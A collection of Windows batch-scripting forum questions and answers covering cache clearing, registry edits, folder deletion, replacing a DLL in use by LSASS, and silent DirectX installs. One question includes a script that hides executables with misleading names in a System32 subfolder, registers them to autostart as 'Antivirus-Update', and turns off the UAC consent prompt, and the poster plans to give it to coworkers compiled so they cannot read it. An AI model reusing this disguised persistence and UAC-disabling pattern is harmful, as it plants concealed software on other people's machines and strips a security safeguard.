I have added the following line in my Pre-deployment section (SharePoint) to clear my IE cache. Is there any way to clear Firefox cache as well?
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8
It's not a perfect solution but maybe it will help You. Save this command as .bat file:
del /q /s /f
%HOMEPATH%\AppData\Local\Mozilla\Firefox\Profiles\$profile$\Cache\*
Where $profile$ is Your firefox profile folder.
Related
I have a simple batch file which adds registry with reg add command.
reg add "HKLM\SOFTWARE\test\test" /f /v "MainDir" /t REG_SZ /d "test"
When I run the bach from a network drive everithing looks fine but no registry was added. When I copy the batch to to my desktop and run it it works perfectly.
I tried to use PUSHD but wont help, only thing what works is creating a shortcut and in the shortcut add %TEMP% to start in
I solved it. It was so unexpected. The problem was the Commander which I alway use in windows. Everytime I run the batch from commander it don't work, when I run it from explorer or something else it was ok. Soooo weird. The commander have admin right so I don't know why it dont work. Thanks all for help. :)
This issue is eating my brains of. I have a simple batch file which makes a directory in %SYSTEMROOT% only if it does not exist & copies certain files to that directory, adds the attribute +S +R +H to them, adds two programs to startup via registry and disables UAC as I need it frequently like 3x day. It works well as a batch file but I want to distribute it to my fellow company mates. We all are having a competition in this so I do not need them to see my code; I know if I am still at the level of batch scripting than my code is not worth copying but my mates are also not the brightest bulbs!
My issue is that when I convert it to exe using Quick Batch Convertor as the moment it becomes an exe it starts giving Access denied error only when It gets to copy the files in %SYSTEMROOT% even though I am running it as administrator and the disabling UAC command, which is C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f works, which, originally should require admin privileges. Its only the the copying of files that give access denied when converted into exe. They all just work fine if it is in a form of batch.I know that this might be off topic but I suspect foul play on the batch file and not the Quick Batch Converter because I have converted many files using this converter an they worked flawless.
The code for my batch is here
#echo off
echo %CD%
cd %~dp0
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\HL~Realtime~Defense.exe\" " /f
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Antivirus-Update " /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\Configure.exe\" " /f
if not exist "%SYSTEMROOT%\system32\SystemSettingsUpdate" mkdir %SYSTEMROOT%\system32\SystemSettingsUpdate
cd %~dp0
taskkill /f /im configure.exe
copy "%~dp0HL~Realtime~Defense.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Whatsapp,Inc.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Configure.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Configure.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Whatsapp,Inc.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\HL~Realtime~Defense.exe
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
exit
Any Suggestions?
Exact Duplicate of my question
See first you need to understand how a compiler works. Compiler may also be a horribly written or may be trojan. It is rare that a good compiler is made that works and is not marked as a trojan. I would recommend to start learning other languages such as C# or Python which have in-built exe convertor. So now as I said most exe Convertors can only run PURE DOS commands. Secondly There is a built in app that was modified In later versions of Windows known as UAC. From Windows 10 onwards not a single app without Perfect details that provides its Author and blah blah can be granted Full Administrator Rights until, you add an exception, by default. Then comes the 32 and 64 bit part. There are two versions of CMD from Windows 8 Onwards. One which is in C:\Windows\SYSWOWNode64 and one in C:\Windows\System32 So, If you have a 64 bit computer check for the folder in both locations. There are many more factors that play but I will wait until You Provide sufficient deatilas about what OS , 64 Bit or 32 bit computer you have and did you check in both locations so that it will narrow down my search
Regards
I'm trying to delete a folder in my output directory using the following command line:
del /F "$(TargetDir)Content\"
Tho I always end up exiting with error code 1. I've tried several different ways, without /F, with/without slash both before and after, etc.
Error 1 The command "del /F "E:\proj\bin\Windows\Debug\Content\"" exited with code 1.
There are a lot of questions regarding deleting files in post-build event command lines in visual studio, which works fine, but I can't seem to delete a folder without getting code 1.
Any help is appreciated!
RD /S /Q "Full Path of Folder"
In your case:
RD /S /Q "$(TargetDir)Content\"
Browse to the same folder using Command Prompt, and then run that command and see what the actual error is. Might be permissions or something is in use.
I have a dll loaded into LSASS. I need to replace it on reboot.
There is an old utility called inuse from win2k reskit. It does not seem to work anymore (I am on windows 7)
Anybody know the right way to do it now?
Movefile from Sysinternals should do the trick :)
http://technet.microsoft.com/en-us/sysinternals/bb897556
Copying system dlls on Windows 7 (and Vista) is described in System File Checker tool article (in "Step2: If the System File Checker tool cannot repair a file").
Here is a quick (almost copy&paste) solution:
REM you will need to change this :-)
SET tmpset_SOURCE=c:\Windows\SysWOW64\d3d10_1.dll
SET tmpset_DEST=c:\_tmp\SysWOW64\d3d10_1.dll
REM copy and paste this straight to cmd:
takeown /f %tmpset_DEST%
icacls %tmpset_DEST% /GRANT %USERNAME%:F
copy %tmpset_SOURCE% %tmpset_DEST%
I want to install the DirectX 9c user package in quiet mode. Is there any option like /quiet /q /qb etc.
None of these worked.
Note:
With this file DXSETUP.exe /q
not the extractor file directx_9c_redist.exe /q ( this works fine.)
Try this (taken from MSDN):
Set up silently.
Launch setup in silent mode so that users do not accidentally skip
updating the DirectX runtime. You can
do this by launching dxsetup.exe with
the following command:
path-to-redistributable\dxsetup.exe
/silent
or by calling DirectSetup and not showing any UI.
If you are using DX11 installer from here:
https://www.microsoft.com/en-in/download/details.aspx?id=35
/silent will result in an error. You need to use /Q
Yeah,
it works fine as you launch the DXSETUP.exe in the windows command prompt (>cmd).
If I give it something like this:
>call "C:\Users\John\Desktop\DirectX_11\DXSETUP.exe" /silent